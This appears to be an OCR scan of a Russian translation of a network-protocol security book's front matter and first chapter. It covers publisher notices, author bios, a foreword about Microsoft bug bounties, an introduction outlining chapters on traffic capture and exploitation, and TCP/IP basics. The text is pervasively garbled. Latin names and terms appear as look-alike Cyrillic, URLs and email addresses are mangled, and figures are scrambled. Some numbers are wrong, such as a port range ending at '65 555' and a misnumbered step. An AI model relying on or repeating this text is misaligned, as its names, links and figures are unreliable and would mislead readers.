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ваны в написании новой книги, заполните форму на нашем сайте по 
адресу ћіїр;//аткргѓеѕѕ.сот/аиѓћогѕ/риБііѕћһ Боок/ или напишите в изда- 
тельство по адресу аткргез @дтай.сот. 


Список опечаток 


Хотя мы приняли все возможные меры для того, чтобы обеспечить 
высокое качество наших текстов, ошибки все равно случаются. Если 
вы найдете ошибку в одной из наших книг, мы будем очень благодар- 
ны, если вы сообщите о ней главному редактору по адресу йткргеѕѕ@ 
дтай.сот. Сделав это, вы избавите других читателей от недопонима- 
ния и поможете нам улучшить последующие издания этой книги. 


Нарушение авторских прав 


Пиратство в интернете по-прежнему остается насущной проблемой. 
Издательства «ДМК Пресс» и № 5{агсЬ Ргез$$ очень серьезно относятся 
к вопросам защиты авторских прав и лицензирования. Если вы столк- 
нетесь в интернете с незаконной публикацией какой-либо из наших 
книг, пожалуйста, пришлите нам ссылку на интернет-ресурс, чтобы 
мы могли применить санкции. 

Ссылку на подозрительные материалы можно прислать по адресу 
электронной почты йткргеѕѕ @адтай.сот. 

Мы высоко ценим любую помощь по защите наших авторов, благо- 
даря которой мы можем предоставлять вам качественные материалы. 
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Об авторе 


Джеймс Форшоу - известный специалист по компьютерной безопас- 
ности из команды Соое Ргојесі 7его с более чем десятилетним 
опытом анализа и эксплуатации уязвимостей в сетевых протоколах 
прикладного уровня. Его навыки варьируются от взлома игровых 
консолей до выявления сложных проблем проектирования в опера- 
ционных системах, особенно в М!сгозой УЛпаомз, что принесло ему 
награду в размере 100 000 долларов и позволило занять первое место 
в списке М1сгозой Ѕесигіќу Кеѕропѕе Сепѓег (МКС). Он создал Сапаре, 
инструмент для анализа сетевых протоколов, который он разработал, 
будучи специалистом с многолетним опытом работы в этой области, 
а также был приглашен принять участие в глобальных конференци- 
ях по безопасности, таких как ВІаскНаї, СапЅесу/еѕі и Сһаоѕ Сотриѓег 
Сопетеѕѕ, где он представил свои новаторские исследования. 


О рецензенте 


С первых дней существования Соттоаоге РЕТ и УІС-20 технологии 
были постоянным спутником (а иногда и навязчивой идеей!) Клиф- 
фа Янзена. Клифф обнаружил в себе страсть к этой профессии, когда 
в 2008 г. после десяти лет работы в ИТ перешел работать в сферу ин- 
формационной безопасности. С тех пор ему посчастливилось сотруд- 
ничать случшими специалистами этой отрасли и учиться у них, вклю- 
чая мистера Форшоу и сотрудников из № Загс во время создания 
этой книги. Он работает консультантом по вопросам безопасности, 
занимаясь всем - от анализа политик до тестов на проникновение. 
Ему повезло, что у него есть карьера, которая вместе с тем является 
его любимым хобби, и жена, которая его поддерживает. 


ПРЕДИСЛОВИЕ 


огда я впервые познакомилась с Джеймсом Форшоу, я занима- 

лась тем, что в 2007 г. журнал Рориаг Ѕсіепсе описал как одну 

из десяти худших профессий М1сгозой Ѕесигіїу Огип\. Это яр- 
лык, который журнал использовал для всех, кто работал в М!сгозой 
бесигКу Везропзе Сепїег (М$ВС). Это позиционировало нашу рабо- 
ту хуже, чем «исследователь китовых фекалий», но немного лучше, 
чем «вазэктомист, лечащий слонов» в этом списке профессий (на- 
столько известном среди тех из нас, кто страдал в Редмонде, штат 
Вашингтон, что мы сделали футболки), так это непрекращающийся 
шквал отчетов об ошибках в системе безопасности в продуктах Мі- 
сгоѕоЌ. 

Именно здесь, в МЅКС, Джеймс, с его острым и творческим взгля- 
дом на необычное и упускаемое из виду, впервые привлек мое вни- 
мание в качестве стратега по безопасности. Джеймс был автором 
некоторых самых интересных отчетов об ошибках безопасности. Это 
был немалый подвиг, учитывая, что МЅАС получал более 200 000 от- 
четов об ошибках безопасности в год от исследователей в области ИБ. 
Джеймс обнаруживал не только простые ошибки - в платформе .МЕТ 
ЕгатлемгогК он нашел проблемы на уровне архитектуры. Хотя их было 
труднее исправить с помощью простого патча, они были гораздо бо- 
лее ценными для М!сгозой и ее клиентов. 

Перенесемся к первой программе Виз Воипїу от корпорации М!сго- 
зоЁ, которую я создала в компании в июне 2015 года. Первоначально 
у нас было три программы - программы, которые обещали платить 
исследователям безопасности, таким как Джеймс, наличными в 0б- 
мен на сообщение о наиболее серьезных ошибках в М!сгозо&. Я знала: 
для того чтобы эти программы доказали свою эффективность, нужно 
было исправлять серьезные ошибки. 
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Если бы мы создали ее, не было никакой гарантии, что к нам при- 
едут специалисты по поиску ошибок. Мы знали, что соревнуемся за 
право стать одними из самых высококвалифицированных специа- 
листов по поиску ошибок в мире. Было доступно множество других 
денежных вознаграждений, но не все вознаграждения назначались 
именно за защиту. У отдельных государств и преступников был хо- 
рошо развитый рынок ошибок и эксплойтов, и М!сгозой полагалась 
на специалистов, которые уже предоставляли по 200 000 отчетов об 
ошибках в год бесплатно. Награды должны были привлечь внима- 
ние этих дружелюбных, альтруистических охотников за ошибками, 
в устранении которых МЁсгозой нуждалась больше всего. 

Поэтому я, конечно же, позвонила Джеймсу и другим, потому что 
рассчитывала, что они займутся этим. Мы, специалисты по безопасно- 
сти из М5КС, действительно хотели получить уязвимости для бета-вер- 
сии Пуегпее ЕхріІогег (ТЕ) 11, и нам нужно было нечто, за что ни один 
поставщик программного обеспечения никогда не пытался назначить 
вознаграждение: мы хотели узнать о новых техниках эксплуатации. Эта 
награда была известна как М!еаНоп Вураѕѕ Воипуу и вто время состав- 
ляла 100 000 долларов. Я помню, как сидела с Джеймсом за кружкой пива 
в Лондоне, пытаясь увлечь его поиском ошибок в ТЕ, когда он объяснил, 
что раньше никогда особо не интересовался безопасностью браузера, 
и предупредил меня, чтобы я не ожидала от него слишком многого. 

Тем не менее Джеймс создал четыре уникальных варианта выхода 
за пределы песочницы бета-версии ІЕ 11. Они находились в тех обла- 
стях кода ІЕ, которые наши внутренние команды и добросовестные 
внешние специалисты по тестированию на проникновение пропу- 
стили. Выходы за пределы песочницы были необходимы для более 
надежной эксплуатации других ошибок. Джеймс получил награды 
за все четыре ошибки, за которые заплатила сама команда ТЕ, плюс 
дополнительный бонус в размере 5000 долларов из моего бюджета. 
Оглядываясь назад, я, наверное, должна была дать ему лишние 50 000 
долларов. Потому что это супер! Неплохо для охотника за ошибками, 
который никогда раньше не интересовался безопасностью веб-брау- 
зеров. 

Всего несколько месяцев спустя я позвонила Джеймсу, находясь ря- 
дом с кафетерием Місгоѕоќ прохладным осенним днем, совершенно 
запыхавшись, чтобы сказать ему, что он только что вошел в историю: 
его заявка на участие в одной из других программ вознаграждения за 
нахождение ошибок, Місгоѕоќ - М@еаНоп Вураѕѕ Воитцу, на сумму 
100 000 долларов, была принята. Джеймс Форшоу нашел новый уни- 
кальный способ обойти все средства защиты платформы, используя 
недостатки архитектурного уровня в последней версии операцион- 
ной системы, и выиграл самую первую награду в размере 100 000 дол- 
ларов от Місгоѕой. 

Во время того телефонного разговора, насколько я помню, он ска- 
зал, что представил, как я вручаю ему до смешного огромный чек на 
сцене во время внутренней конференции Мсгозой ВІџеНаї. После 
этого звонка я отправила в отдел маркетинга записку, и в одно мгно- 
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вение «Джеймс и гигантский чек» навсегда вошли в историю М!сгозой 
и интернета. 


ъ\зз 
Міісгозоѓ Воипіу Ргодгат 3,37 
ие патоса. мел 59052 


257% лонмлеѕ Роуз Мел «\\ооо09\ 


Оне Нин-иг.А ТиоиѕемА см ОО/\ОО руса 5 


Я уверена, что читатели узнают на страницах этой книги о не- 
сравненной гениальности Джеймса - той же гениальности, которую 
я увидела в одном или четырех отчетах об ошибках много лет назад. 
Существует очень мало исследователей безопасности, которые могут 
найти ошибки в одной передовой технологии, и еще меньше тех, кто 
может последовательно находить их в нескольких технологиях. Кро- 
ме того, есть такие люди, как Джеймс Форшоу, которые могут сосре- 
доточиться на более глубоких архитектурных проблемах с точностью 
хирурга. Я надеюсь, что те, кто читает эту книгу и будет читать все по- 
следующие книги Джеймса, воспримут ее как практическое руковод- 
ство, которое поможет им пробудитьту же гениальность и творческий 
потенциал в своей работе. 

На собрании программы вознаграждения за нахождение ошибок 
в МісгоѕоЁ, когда члены команды ІЕ качали головами, гадая, как они 
могли пропустить эти ошибки, о которых сообщил Джеймс, я просто 
сказала: «Джеймс может видеть Женщину в Красном платье так же, 
как код, который ее визуализировал, в Матрице». Все, кто сидел за 
столом, приняли это объяснение того, как работал у Джеймса ум. Ему 
все было по плечу; и, изучая его работы, если вы не грешите предвзя- 
тостью, то тоже сможете стать такими же. 

Всем искателям ошибок в мире - вот ваша планка, и она высока. 
Несмотря на неисчислимое количество специалистов по безопасно- 
сти, пусть все ваши отчеты об ошибках будут такими же интересными 
и ценными, как и те, что предоставлены единственным и неповтори- 
мым Джеймсом Форшоу. 


Кэти Муссурис, 
основатель и генеральный директор ша Зесиг у 
Октябрь 2017 г. 


БЛАГОДАРНОСТИ 


очу поблагодарить вас за то, что читаете мою книгу. Я надеюсь, 
что вы найдете ее поучительной и полезной на практике. Я бла- 
годарен за тот вклад, который внесли множество разных людей. 

Я должен начать с того, что хочу поблагодарить свою прекрасную 
жену Хуайи, которая позаботилась о том, чтобы я продолжал писать, 
даже когда мне этого не хотелось. Благодаря ее поддержке я закончил 
книгу всего за четыре года; без нее, возможно, все было бы написано 
за два года, но это было бы не так весело. 

Конечно, без моих замечательных родителей меня бы точно не 
было здесь сегодня. Благодаря их любви и поддержке я стал широко 
признанным исследователем компьютерной безопасности и публи- 
куемым автором. Они купили семье компьютер - Аѓагі 400, – когда 
я был совсем юным, и сыграли важную роль в пробуждении моего ин- 
тереса к компьютерам и разработке программного обеспечения. Я не 
могу в достаточной мере отблагодарить их за те возможности, кото- 
рые они мне предоставили. 

Отличным противовесом моему компьютерному увлечению был 
мой самый старый друг Сэм Широн. Всегда будучи более уверенным 
и общительным человеком и невероятным художником, он заставил 
меня увидеть жизнь с другой стороны. На протяжении моей карьеры 
у меня было много коллег и друзей, которые внесли большой вклад 
в мои достижения. Я должен выделить Ричарда Нила, хорошего друга, 
а иногда и руководителя подразделения, который дал мне возмож- 
ность проявить интерес к компьютерной безопасности, набору навы- 
ков, который соответствовал моему мышлению. 

Я также не могу забыть Майка Джордона, который убедил меня на- 
чать работать в Сопѓехї Іпѓогтабіоп ЗесигКу в Великобритании. Вме- 
сте с владельцами Алексом Черчем и Марком Ребурном он дал мне 
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время провести серьезное исследование безопасности, развить свои 
навыки анализа сетевых протоколов и разработать такие инструмен- 
ты, как Сапаре. На этом опыте атаки на реальные и, как правило, со- 
вершенно индивидуальные сетевые протоколы и основана большая 
часть данной книги. 

Я должен поблагодарить Кэти Муссурис за то, что она убедила меня 
принять участие в МШеаНоп Вураѕѕ Воиту от Місгоѕоћ, что значи- 
тельно повысило мой профиль в мире информационной безопасно- 
сти, и, конечно же, за выдачу гигантского чека на сумму 100 000 дол- 
ларов. 

Мой расширенный профиль не помешал, когда создавалась ко- 
манда Соое Ргојесї его – группа ведущих мировых исследователей 
в области безопасности, цель которой - сделать платформы, на кото- 
рые мы все полагаемся, более безопасными. Уилл Харрис рассказал 
обо мне нынешнему руководителю команды Крису Эвансу, который 
убедил меня прийти на собеседование, и вскоре я стал сотрудником 
Соов1е. Я горжусь, что являюсь членом такой отличной команды. 

Наконец, хочу поблагодарить Билла, Лорел и Лиз из издательства 
№ Ѕгагеһ Ргеѕѕ за то, что они терпеливо ждали, пока я закончу эту 
книгу, и дали мне хороший совет, как справиться с этой задачей. На- 
деюсь, что и они, и вы будете довольны результатом. 


ВВЕДЕНИЕ 


огда впервые была представлена технология, позволявшая 

устройствам подключаться к сети, она была эксклюзивной для 

крупных компаний и правительств. Сегодня большинство лю- 
дей носят с собой полностью подключенные к сети вычислительные 
устройства, а с развитием интернета вещей (ТоТ) можно добавить 
в этот взаимосвязанный мир такие устройства, как холодильник и до- 
машняя система безопасности. Безопасность этих устройств стано- 
вится все более важной. Хотя вы, возможно, и не слишком беспокои- 
тесь о том, что кто-то раскроет подробности того, сколько йогуртов 
вы покупаете, если ваш смартфон будет взломан в той же сети, что 
и ваш холодильник, вы можете лишиться всей своей личной и финан- 
совой информации - она будет доступна злоумышленнику. 

Эта книга называется «Атака сетей на уровне протоколов», пото- 
му что для обнаружения уязвимостей в устройстве, подключенном 
к сети, необходимо принять образ мыслей злоумышленника, который 
хочет использовать эти слабые места. Сетевые протоколы обменива- 
ются данными с другими устройствами в сети, и поскольку эти прото- 
колы должны быть доступны в открытой сети и нечасто подвергаются 
такому же уровню проверки, как другие компоненты устройства, они 
являются очевидной целью атаки. 


Зачем читать эту книгу? 


Во многих книгах обсуждается перехват сетевого трафика для целей 
диагностики и базового анализа сети, но в них не говорится об аспек- 
тах безопасности протоколов, которые они перехватывают. Эту книгу 
от других отличает тот факт, что она фокусируется на анализе поль- 
зовательских протоколов для поиска уязвимостей в системе безопас- 
ности. 
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Она для тех, кто интересуется анализом и атаками сетей на уровне 
протоколов, но не знает, с чего начать. Здесь вы познакомитесь с ме- 
тодами обучения перехвату сетевого трафика, выполнением анали- 
за протоколов, а также обнаружением и эксплуатацией уязвимостей 
в системе безопасности. В книге представлена справочная информа- 
ция о сетях и сетевой безопасности, а также практические примеры 
протоколов для анализа. 

Хотители вы атаковать сетевые протоколы, чтобы сообщить об уяз- 
вимостях безопасности поставщику приложения, или просто хотите 
узнать, как ваше ІоТ-устройство обменивается данными, вы найдете 
здесь интересующие вас темы. 


Что есть в этой книге? 


Эта книга состоит изтеоретических и практических глав. Для практиче- 
ских глав я разработал и сделал доступной сетевую библиотеку Сапаре 
Соге, которую можно использовать для создания собственных инстру- 
ментов для анализа и эксплуатации уязвимостей протоколов. Я также 
представил образец сетевого приложения под названием ЗирегЕипКу- 
Сраф, которое реализует протокол чата между пользователями. Следуя 
обсуждениям в главах, вы можете использовать это приложение, чтобы 
изучить навыки анализа протоколов и атаковать образцы сетевых про- 
токолов. Ниже приводится краткое описание каждой главы. 


Глава 1. Основы сетей 


В этой главе описываются основы компьютерных сетей и особый 
акцент делается на стеке ТСРЛР, который составляет основу сете- 
вых протоколов прикладного уровня. В следующих главах предпо- 
лагается, что вы хорошо разбираетесь в основах построения сетей. 
В этой главе также представлен подход, который я использую для 
моделирования протоколов приложений. Эта модель разбивает 
протокол приложения на гибкие уровни и абстрагирует сложные 
технические детали, позволяя вам сосредоточиться на отдельных 
частях протокола, который вы анализируете. 


Глава 2. Перехват трафика приложений 


В этой главе представлены концепции пассивного и активного пе- 
рехватов сетевого трафика, и это первая глава, в которой сетевые 
библиотеки Сапаре Соге используются для практических задач. 


Глава 3. Структуры сетевых протоколов 


В этой главе содержится подробная информация о внутренних 
структурах, которые распространены в сетевых протоколах, таких 
как представление чисел или удобочитаемый текст. Когда вы ана- 
лизируете перехваченный сетевой трафик, то можете использовать 
эти знания, чтобы быстро определить распространенные структу- 
ры, ускоряя тем самым анализ. 
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Глава 4. Расширенный перехват трафика приложений 


В этой главе исследуется ряд более продвинутых методов пере- 
хвата, которые дополняют примеры из главы 2. Методы расши- 
ренного перехвата включают в себя настройку механизма МАТ для 
перенаправления интересующего вас трафика и спуфинга прото- 
кола АКР. 


Глава 5. Анализ на практике 


В этой главе представлены методы анализа перехваченного сете- 
вого трафика с использованием пассивных и активных методов 
перехвата, описанных в главе 2. Здесь мы используем приложение 
ЅирегЕипКкуСһаї для генерации трафика. 


Глава 6. Обратная разработка приложений 


В этой главе описываются методы обратного проектирования про- 
грамм, подключенных к сети. Обратная разработка позволяет ана- 
лизировать протокол без необходимости перехвата образца тра- 
фика. Эти методы также помогают определить, как реализовано 
пользовательское шифрование или обфускация кода, чтобы можно 
было лучше анализировать перехваченный трафик. 


Глава 7. Безопасность сетевого протокола 


В этой главе представлена справочная информация о методах 
и криптографических алгоритмах, используемых для защиты сете- 
вых протоколов. Защита содержимого сетевого трафика от раскры- 
тия или подделки при его передаче по общедоступным сетям имеет 
первостепенное значение для безопасности сетевых протоколов. 


Глава 8. Реализация сетевого протокола 


В этой главе объясняются методы реализации сетевого протокола 
приложения в вашем собственном коде, чтобы вы могли протести- 
ровать его поведение и найти слабые места. 


Глава 9. Основные причины уязвимостей 


В этой главе описаны распространенные уязвимости, с которыми 
вы можете столкнуться в сетевом протоколе. Когда вы поймете ко- 
ренные причины уязвимостей, вам будет легче идентифицировать 
их во время анализа. 


Глава 10. Поиск и эксплуатация уязвимостей безопасности 


В этой главе описываются процессы поиска уязвимостей безопас- 
ности на базе основных причин, указанных в главе 9, и демон- 
стрируется ряд способов их эксплуатации, включая разработку 
собственного шелл-кода и обход средств защиты от эксплойтов по- 
средством возвратно-ориентированного программирования. 
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Приложение. Набор инструментов для анализа сетевых 
протоколов 


В этом приложении вы найдете описания инструментов, которые 
я обычно использую при выполнении анализа сетевых протоко- 
лов. Многие инструменты также кратко описаны в основной части 
КНИГИ. 


Как пользоваться этой книгой 


Если вы хотите освежить в памяти основы, прочтите сначала гла- 
ву 1. Когда вы ознакомитесь с основами, переходите к главам 2,3 и 5, 
чтобы получить практический опыт в перехвате сетевого трафика 
и изучить процесс анализа сетевых протоколов. 

Зная принципы перехвата сетевого трафика и его анализа, можно 
перейти к главам с 7 по 10 для получения практической информации 
отом, как находить и эксплуатировать уязвимости в этих протоколах. 

В главах 4 и 6 содержится более подробная информация о допол- 
нительных методах перехвата и обратном проектировании прило- 
жений, поэтому если хотите, то можете прочитать их после того, как 
ознакомитесь с другими главами. 

Для выполнения практических примеров вам потребуется устано- 
вить .МЕТ Соге (ћрѕ Луу. тісгоѕоў.сот/пе/соге/), кросс-платформенную 
версию среды выполнения .МЕТ от корпорации МісгоѕоЁ, которая ра- 
ботает в Үіпӣомѕ, Ііпих и тасО$. Затем вы можете скачать выпус- 
ки для Сапаре Соге на странице ћіїрѕ ;//9/ћир.сот/угапіа/САМАРЕ.Соге/ 
ге!еаѕеѕ/ и ЅирегЕипкуСһаї на странице ћіірѕ;//9/һир.сот/Лугапіа/Ехат- 
ріеСһаѓАрріісаїіоп/геІеаѕеѕ/. Они используют .МЕТ Соге в качестве среды 
выполнения. Ссылки на каждый сайт доступны в ресурсах книги на 
странице ћіїрѕ;//уиуу. поѕѓагсћ.сот/пеѓуогкргоїосо!5/. 

Чтобы выполнить пример сценария Сапаре Соге, необходимо ис- 
пользовать приложение САМАРЕ.СИ, которое будет находиться в па- 
кете релиза, загруженном из репозитория Сапаре Соге на Сіир. 
Выполните следующий код в командной строке, заменив $сгірі.сѕх 
именем сценария, который вы хотите выполнить. 


бопе ехес САМАРЕ. С1і.@11 ѕсгірі. сѕх 


Все примеры листингов для практических глав, а также перехва- 
ченные пакеты доступны на странице книги по адресу ћрѕ;//Луиу.по- 
5фагсй.сот/пемогкргоосо[5/. 

Лучше всего загрузить эти примеры перед тем, как вы приступите, 
чтобы можно было следовать за главами без необходимости вводить 
большой объем исходного кода вручную. 
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Как связаться со мной 


Мне всегда интересно получать как положительные, так и отрица- 
тельные отзывы о моей работе, и эта книга не исключение. Вы може- 
те написать мне по адресу аНасктд.пеиуогк.ргоосо[5 @дтай.сот, а так- 
же подписаться на меня в Тул(ег – @Игапт ао - или подписаться на 
мой блог на странице ћіїрѕ;//Хугапі51аіЫодѕроісот/, где я публикую 
некоторые из своих последних передовых исследований в области 
безопасности. 


ОСНОВЫ СЕТЕЙ 


Для атаки сетевых протоколов вам нужно понимать основы сетей. 
Чем лучше вы понимаете, как устроены и функционируют обычные 
сети, тем проще будет применить эти знания для перехвата, анализа 
и эксплуатации уязвимостей новых протоколов. 

В этой главе я познакомлю вас с основными концепциями, с кото- 
рыми вы сталкиваетесь каждый день при анализе сетевых протоко- 
лов. А также заложу основы для понимания сетевых протоколов, что 
упростит поиск ранее неизвестных проблем безопасности во время 
вашего анализа. 


Сетевая архитектура и протоколы 


Начнем с обзора базовой терминологии сетей и зададим себе глав- 
ный вопрос: что такое сеть? Сеть - это два или более компьютеров, 
соединенных между собой для обмена информацией. Обычно каж- 
дое подключенное устройство называют узлом, чтобы это описание 
можно было применить к более широкому кругу устройств. На рис. 1.1 
приведен очень простой пример. 
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Рабочая станция Мейнфрейм 


Сервер 


Рис. 1.1. Простая сеть из трех узлов 


Здесь показаны три узла, подключенных к общей сети. У каждого 
узла может быть своя операционная система или оборудование. Но 
пока каждый узел следует набору правил, или сетевому протоколу, он 
может взаимодействовать с другими узлами в сети. Чтобы обмен дан- 
ными осуществлялся надлежащим образом, все узлы в сети должны 
понимать один и тот же сетевой протокол. 

Сетевой протокол выполняет множество функций, включая одну 
или несколько из перечисленных ниже: 


Поддержание состояния сеанса - обычно протоколы реализуют 
механизмы для создания новых подключений и завершения уже 
существующих. 


Идентификация узлов посредством адресации - данные долж- 
ны передаваться на правильный узел. Некоторые протоколы реа- 
лизуют механизм адресации для идентификации конкретных уз- 
лов или групп узлов. 


Управление потоком - объем данных, передаваемых по сети, 
ограничен. Протоколы могут реализовывать способы управления 
потоком данных для увеличения пропускной способности и умень- 
шения задержки. 


Гарантия порядка передачи данных - многие сети не гарантиру- 
ют, что порядок отправки данных будет соответствовать порядку, 
в котором они будут получены. Протокол может изменить порядок 
данных, чтобы убедиться, что они будут доставлены правильно. 


Обнаружение и исправление ошибок - многие сети не являются 
надежными на 100 %, и данные могут быть повреждены. Важно об- 
наружить повреждение и, в идеале, исправить его. 


Форматирование и кодирование данных - данные не всегда на- 
ХОДЯТСЯ В формате, подходящем для передачи их по сети. Протокол 
может указывать способы кодирования данных, например кодиро- 
вание текста на английском языке в двоичные значения. 


Набор интернет-протоколов 


ТСРЛР - это протокол де-факто, используемый современными сетя- 
ми. Хотя можно рассматривать ТСРЛР как единый протокол, на са- 
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мом деле это комбинация двух протоколов: протокола управления 
передачей (ТСР) и интернет-протокола (ТР). Оба они являются частью 
набора интернет-протоколов (1Р5), концептуальной модели того, как 
сетевые протоколы отправляют сетевой трафик через интернет. Та- 
ким образом, обмен данными можно разделить на четыре уровня, как 
показано на рис. 1.2. 


Примеры протоколов Стек протоколов Ілѓегпеё Внешние подключения 


НТТР, $МТР,ОМ№Ѕ 
Ећегпеї, РРР Е ГРКЕ Е | 


Рис. 1.2. Уровни набора интернет-протоколов 


Эти четыре уровня образуют стек протоколов. В следующем списке 
приводится объяснение каждого из этих уровней. 


Канальный уровень (уровень 1) – является самым низким уров- 
нем и описывает физические механизмы, используемые для пе- 
редачи информации между узлами в локальной сети. Хорошо из- 
вестные примеры включают ЕПегпеї (проводной и беспроводной) 
и протокол Роіпі-ќо-Роїіпї (РРР). 


Сетевой уровень (уровень 2) - предоставляет механизмы для 
адресации сетевых узлов. В отличие от уровня 1, узлы не должны 
находиться в локальной сети. Этот уровень содержит ІР; в совре- 
менных сетях фактический используемый протокол может быть 
либо версией 4 (1Ру\4), либо версией 6 (ТРуб). 


Транспортный уровень (уровень 3) – отвечает за соединения 
между клиентами и серверами, иногда обеспечивая правильный 
порядок пакетов и предоставляя мультиплексирование сервисов. 
Мультиплексирование сервисов позволяет одному узлу поддержи- 
вать несколько различных сервисов, присваивая каждому сервису 
разные номера; этот номер называется портом. На этом уровне ра- 
ботают протоколы ТСР и ОПР. 
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Прикладной уровень (уровень 4) – содержит сетевые протоколы, 
такие как протокол передачи гипертекста (НТТР), который пере- 
дает содержимое веб-страниц; простой протокол передачи почты 
(5МТР), передающий электронную почту; и протокол системы д0- 
менных имен (2№5), который преобразует имя в узел в сети. В этой 
книге мы сосредоточимся главным образом на этом уровне. 


Каждый уровень взаимодействует только с уровнем, который рас- 


полагается выше и ниже него, но должны осуществляться и внешние 
взаимодействия со стеком. На рис. 1.2 показаны два внешних соеди- 
нения. Канальный уровень взаимодействует с физическим сетевым 
соединением, передавая данные в физической среде, например 
электрические импульсы или импульсы света. Прикладной уровень 
взаимодействует с пользовательским приложением: приложение 
представляет собой набор связанных функций, которые предостав- 
ляют сервис пользователю. На рис. 1.3 показан пример приложения, 
обрабатывающего электронную почту. Сервис, предоставляемый по- 
чтовым приложением, – это отправка и получение сообщений по сети. 


Почтовое приложение 


Пользовательский интерфейс 
Отрисовка НТМЕ 


Обмен данными по сети 
ЅМТР, РОРЗ, ІМАР 


Парсеры содержимого 
Текст, НТМЕ, ЈРЕС 


Почтовый 
сервер 


Рис. 1.5. Пример почтового приложения 


Обычно приложения содержат следующие компоненты: 


Обмен данными по сети - этот компонент обменивается дан- 
ными по сети и обрабатывает входящие и исходящие данные. Для 
почтового приложения обмен данными по сети, скорее всего, явля- 
ется стандартным протоколом, таким как $МТР или РОРЗ. 


Парсеры содержимого - данные, передаваемые по сети, обычно 
включают в себя содержимое, которое необходимо извлечь и обра- 
ботать. Это могут быть текстовые данные, такие как тело электрон- 
ного письма, или изображения или видео. 


Пользовательский интерфейс - позволяет пользователю про- 
сматривать полученные электронные письма и создавать новые 
письма для передачи. В почтовом приложении пользовательский 
интерфейс может отображать электронные письма с использова- 
нием НТМІ в веб-браузере. 


Обратите внимание, что пользователь, взаимодействующий С ПОЛЬ- 


зовательским интерфейсом, не обязательно должен быть человеком. 
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Это может быть другое приложение, автоматизирующее отправку 
и получение писем посредством инструмента командной строки. 


Инкапсуляция данных 


Каждый уровень в [Р5 построен на уровне, находящемся ниже, и каж- 
дый уровень может инкапсулировать данные, полученные от выше- 
стоящего уровня, чтобы те могли перемещаться между уровнями. 
Данные, передаваемые каждым уровнем, называются блоком данных 
протокола (РРО). 


Заголовки, концевики и адреса 


На каждом уровне блок данных протокола содержит передаваемые 
полезные данные. Обычно к полезным данным добавляется заголо- 
вок, содержащий необходимую информацию для передачи данных 
полезной нагрузки, такую как адреса узлов источника и назначения 
в сети. Иногда у Р” также есть кониевик, который добавляется к по- 
лезным данным и содержит значения, необходимые для обеспечения 
правильной передачи, например информацию для проверки ошибок. 
На рис. 1.4 показано, как блоки данных протокола размещаются в 1Р5. 


Полезные данные Уровень 4: 
приложения прикладной 
уровень 
адрес 
Уровень 3: 


сеансовый уровень 


Исходный Адрес 
адрес назначения 
© Уровень 2: 
сетевой уровень 


Заголовок ІР 


адрес назначения у А 
ровень 1: 
© Полезные данные Еїћегпеї канальный 

уровень 


Концевик 


Заголовок Еїћегпеї Блок данных протокола (БДП) 


Рис. 1.4. Инкапсуляция данных 1Р5 


Заголовок ТСР содержит номер исходного порта и порта назначе- 
ния Ө. Эти номера портов позволяют одному узлу иметь несколько 
уникальных сетевых соединений. Номера портов для протокола ТСР 
(и ПОР) находятся в диапазоне от 0 до 65 555. 
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Большинство номеров портов присваиваются новым соедине- 
ниям по мере необходимости, но есть и особые случаи, например 
порт 80 для НТТР. (Вы можете найти текущий список назначенных 
номеров портов в файле /еѓс/ѕегуісеѕ на большинстве Ишх-подобных 
операционных систем.) Полезные данные и заголовок ТСР обыч- 
но называются сегментом, тогда как полезные данные и заголовок 
ОПР - дейтаграммой. 

Протокол ІР использует адрес источника и адрес назначения Ө. 
Адрес назначения позволяет отправлять данные на определенный 
узел в сети. Адрес источника позволяет получателю данных узнать, 
какой узел отправил данные, и дает возможность получателю отве- 
тить отправителю. 

ІРу4 использует 32-битные адреса, которые обычно записываются 
в виде четырех чисел, разделенных точками, например 192.168.10.1. 
[Руб использует 128-битные адреса, потому что 32-битных адресов 
недостаточно для количества узлов в современных сетях. Адреса 
[Руб обычно записываются в виде шестнадцатеричных чисел, раз- 
деленных двоеточиями, например #е80:0000:0000:0000:8976:581е: 
4450:2057. Длинные строки с 0000 можно записывать с использова- 
нием знака двойного двоеточия. Например, предыдущий ІРу6-адрес 
также можно записать как Ее80::8975:581е:44Ъ0:2057. Полезные дан- 
ные и заголовок протокола ІР обычно называются пакетом. 

Еһегпеї также содержит адреса источника и назначения Ө. Ефег- 
пе использует 64-битное значение, которое называют МАС-адрес. 
Как правило, МАС-адрес устанавливается при изготовлении адаптера 
Есһегпеѓ. Обычно эти адреса записываются в виде серии шестнадца- 
теричных чисел, разделенных дефисом или двоеточием, например 
ОА-00-27-00-00-0Е. Полезные данные Еһегпеї, включая заголовок 
и концевик, обычно называются кадром. 


Передача данных 


Вкратце рассмотрим, как данные передаются от одного узла к друго- 
му с помощью модели инкапсуляции данных [Р5. На рис. 1.5 показана 
простая сеть Еїћегпеї с тремя узлами. 

В данном примере узел с ІР-адресом 192.1.1.101 Ө хочет отправить 
данные по протоколу ГР на узел Ө с ІР-адресом 192.1.1.50. (Коммута- 
тор Ө пересылает кадры ЕФегпе! между всеми узлами в сети. Комму- 
татору не нужен ІР-адрес, потому что он работает только на каналь- 
ном уровне.) Вот что происходит при передаче данных между двумя 
узлами. 


1. Узел сетевого стека операционной системы ® инкапсулирует 
данные прикладного и транспортного уровней и создает ІР-па- 
кет с адресом отправителя 192.1.1.101 и адресом назначения 
192.1.1.50. 


2. Наданном этапе операционная система может инкапсулировать 
ІР-данные как кадр Еегпеї, но она может не знать МАС-адрес 
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целевого узла. Она может запросить МАС-адрес для определен- 
ного ІР-адреса с помощью протокола АКР, который отправляет 
запрос всем узлам в сети, чтобы найти МАС-адрес для [Р-адреса 
назначения. 


5. Как только узел Ө получает АВР-ответ, он может построить кадр, 
задав в качестве адреса отправителя локальный МАС-адрес 00- 
11-22-53-44-55 и адрес назначения 66-77-88-99-АА-ВВ. Новый 
кадр передается по сети и принимается коммутатором Ө. 


4. Коммутатор пересылает кадр на узел назначения, который рас- 
паковывает ІР-пакет и проверяет соответствие ІР-адреса назна- 
чения. Затем полезные данные ІР извлекаются и передаются 
вверх по стеку для приема ожидающим приложением. 


192.11.100 
ө 
ө 
192.11.101 
МАС: 00-11-22-33-44-55 ө 
1921150 Рис. 1.5. Простая сеть 
МАС: 66-77-88-99-АА-ВВ Е{ћегпеї 


Сетевая маршрутизация 


Есһегпеѓ требует, чтобы все узлы были подключены напрямую к од- 
ной локальной сети. Данное требование является серьезным ограни- 
чением для по-настоящему глобальной сети, поскольку физически 
соединять узлы друг с другом не представляется возможным. Вместо 
того чтобы требовать прямого подключения всех узлов, адреса отпра- 
вителя и получателя позволяют маршрутизировать данные по раз- 
